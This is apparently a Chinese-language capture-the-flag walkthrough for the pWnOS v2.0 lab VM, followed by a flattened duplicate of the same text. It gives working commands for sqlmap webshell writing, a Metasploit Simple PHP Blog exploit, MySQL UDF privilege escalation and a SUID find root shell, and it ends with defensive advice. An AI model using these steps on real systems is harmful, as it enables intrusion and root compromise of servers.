VulnHub-pWnOS: 2.0-靶机渗透学习
字数 1712 2025-08-15 21:33:08

pWnOS v2.0 靶机渗透教学文档

靶机概述

  • 名称: pWnOS v2.0
  • 类型: Virtual Machine 映像
  • 难度: 中级(CTF)
  • 发布日期: 2011年7月4日
  • 目标: 获取root权限并找到flag.txt
  • 设计用途: 用于实践渗透测试,包含多个达到root的入口点
  • 推荐环境: VMware Workstation 7.0(兼容大多数虚拟机软件)

网络配置

靶机默认网络配置:

  • IP地址: 10.10.10.100
  • 子网掩码: 255.255.255.0
  • 网关: 10.10.10.15

攻击机配置示例(需在同一网段):

auto eth0
iface eth0 inet static
address 10.10.10.101
netmask 255.255.255.0
gateway 10.10.10.15

信息收集阶段

1. 端口扫描

使用nmap扫描靶机开放端口:

nmap -sV 10.10.10.100

发现开放服务:

  • 22/tcp: SSH
  • 80/tcp: HTTP

2. Web服务枚举

访问http://10.10.10.100,在前台界面发现邮箱:admin@isints.com

使用nikto扫描Web漏洞:

nikto -h http://10.10.10.100

发现关键信息:

  • 存在登录界面(login.php)
  • 可能存在其他漏洞点

攻击路径一:SQL注入+文件写入

1. SQL注入检测

发现email参数存在SQL注入漏洞

使用sqlmap进行自动化测试:

sqlmap -r request.txt --batch

2. 利用LOCAL_INFILE函数写入Webshell

通过mysql的LOCAL_INFILE函数写入木马:

sqlmap -r request.txt --batch --file-write /tmp/shell.php --file-dest /var/www/shell1.php

3. 获取反向shell

访问写入的webshell路径:

http://10.10.10.100/shell1.php

攻击路径二:Simple PHP Blog漏洞利用

1. 目录扫描

使用dirb发现/blog目录:

dirb http://10.10.10.100

2. 识别CMS版本

通过源代码分析发现使用Simple PHP Blog 0.4.0

3. 利用已知漏洞

Simple PHP Blog 0.4.0存在远程代码执行漏洞

使用msfconsole创建账号:

msfconsole
use exploit/unix/webapp/sphpblog_file_upload
set RHOSTS 10.10.10.100
exploit

创建了账号:RG5Bqr/DHmsZA

4. 文件上传获取shell

  1. 登录后台
  2. 找到图片上传点
  3. 上传PHP webshell
  4. 访问上传的shell:
http://10.10.10.100/blog/images/shell.php

权限提升:UDF提权

1. 检查MySQL权限

发现MySQL以root用户运行:

ps aux | grep mysql

2. 查找MySQL凭据

在/var/www和/var目录下查找MySQL配置文件,发现凭据

3. 检查secure_file_priv设置

登录MySQL后检查:

show global variables like 'secure%';

关键值:

  • NULL: 限制导入/导出
  • /tmp/: 限制到/tmp目录
  • 空值: 无限制(可提权)

4. UDF提权步骤

  1. 确定MySQL架构:
show variables like '%version%';
  1. 从MSF获取合适的UDF文件:

    • 32位:lib_mysqludf_sys.so
    • 64位:lib_mysqludf_sys_64.so
  2. 上传UDF文件到靶机

  3. 查找MySQL插件目录:

show variables like '%plugin%';
  1. 创建表并写入UDF内容:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/lib_mysqludf_sys.so'));
  1. 将内容写入插件目录:
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
  1. 创建函数:
create function sys_eval returns string soname 'udf.so';
  1. 执行命令获取root权限:
select sys_eval('id');

5. 获取root shell

  1. 给find命令设置SUID:
select sys_eval('chmod +s /usr/bin/find');
  1. 通过find获取root shell:
find / -exec /bin/sh -p \; -quit

总结与关键点

渗透路径总结

  1. 路径一

    • 发现login.php
    • 利用email参数SQL注入
    • 通过LOCAL_INFILE函数上传webshell
    • 获取初始shell
  2. 路径二

    • 发现/blog目录
    • 识别Simple PHP Blog 0.4.0
    • 利用已知漏洞创建账户
    • 通过文件上传获取webshell
  3. 权限提升

    • 发现MySQL以root运行
    • 获取MySQL凭据
    • 检查secure_file_priv设置
    • 通过UDF提权获取root权限

关键学习点

  1. SQL注入利用

    • 不仅限于数据泄露,还可用于文件写入
    • LOCAL_INFILE函数的利用
  2. CMS漏洞利用

    • 版本识别的重要性
    • 已知漏洞的快速利用
  3. UDF提权技术

    • MySQL提权的核心原理
    • secure_file_priv设置的影响
    • 自定义函数的创建与使用
  4. 权限维持

    • SUID二进制文件的利用
    • 获取交互式root shell的方法

防御建议

  1. 对用户输入进行严格过滤
  2. 限制MySQL的文件操作权限
  3. 及时更新CMS和插件
  4. 避免以root权限运行服务
  5. 定期检查系统上的SUID/SGID文件
pWnOS v2.0 靶机渗透教学文档 靶机概述 名称 : pWnOS v2.0 类型 : Virtual Machine 映像 难度 : 中级(CTF) 发布日期 : 2011年7月4日 目标 : 获取root权限并找到flag.txt 设计用途 : 用于实践渗透测试,包含多个达到root的入口点 推荐环境 : VMware Workstation 7.0(兼容大多数虚拟机软件) 网络配置 靶机默认网络配置: IP地址: 10.10.10.100 子网掩码: 255.255.255.0 网关: 10.10.10.15 攻击机配置示例(需在同一网段): 信息收集阶段 1. 端口扫描 使用nmap扫描靶机开放端口: 发现开放服务: 22/tcp: SSH 80/tcp: HTTP 2. Web服务枚举 访问http://10.10.10.100,在前台界面发现邮箱: admin@isints.com 使用nikto扫描Web漏洞: 发现关键信息: 存在登录界面(login.php) 可能存在其他漏洞点 攻击路径一:SQL注入+文件写入 1. SQL注入检测 发现email参数存在SQL注入漏洞 使用sqlmap进行自动化测试: 2. 利用LOCAL_ INFILE函数写入Webshell 通过mysql的LOCAL_ INFILE函数写入木马: 3. 获取反向shell 访问写入的webshell路径: 攻击路径二:Simple PHP Blog漏洞利用 1. 目录扫描 使用dirb发现/blog目录: 2. 识别CMS版本 通过源代码分析发现使用Simple PHP Blog 0.4.0 3. 利用已知漏洞 Simple PHP Blog 0.4.0存在远程代码执行漏洞 使用msfconsole创建账号: 创建了账号: RG5Bqr/DHmsZA 4. 文件上传获取shell 登录后台 找到图片上传点 上传PHP webshell 访问上传的shell: 权限提升:UDF提权 1. 检查MySQL权限 发现MySQL以root用户运行: 2. 查找MySQL凭据 在/var/www和/var目录下查找MySQL配置文件,发现凭据 3. 检查secure_ file_ priv设置 登录MySQL后检查: 关键值: NULL: 限制导入/导出 /tmp/: 限制到/tmp目录 空值: 无限制(可提权) 4. UDF提权步骤 确定MySQL架构: 从MSF获取合适的UDF文件: 32位:lib_ mysqludf_ sys.so 64位:lib_ mysqludf_ sys_ 64.so 上传UDF文件到靶机 查找MySQL插件目录: 创建表并写入UDF内容: 将内容写入插件目录: 创建函数: 执行命令获取root权限: 5. 获取root shell 给find命令设置SUID: 通过find获取root shell: 总结与关键点 渗透路径总结 路径一 : 发现login.php 利用email参数SQL注入 通过LOCAL_ INFILE函数上传webshell 获取初始shell 路径二 : 发现/blog目录 识别Simple PHP Blog 0.4.0 利用已知漏洞创建账户 通过文件上传获取webshell 权限提升 : 发现MySQL以root运行 获取MySQL凭据 检查secure_ file_ priv设置 通过UDF提权获取root权限 关键学习点 SQL注入利用 : 不仅限于数据泄露,还可用于文件写入 LOCAL_ INFILE函数的利用 CMS漏洞利用 : 版本识别的重要性 已知漏洞的快速利用 UDF提权技术 : MySQL提权的核心原理 secure_ file_ priv设置的影响 自定义函数的创建与使用 权限维持 : SUID二进制文件的利用 获取交互式root shell的方法 防御建议 对用户输入进行严格过滤 限制MySQL的文件操作权限 及时更新CMS和插件 避免以root权限运行服务 定期检查系统上的SUID/SGID文件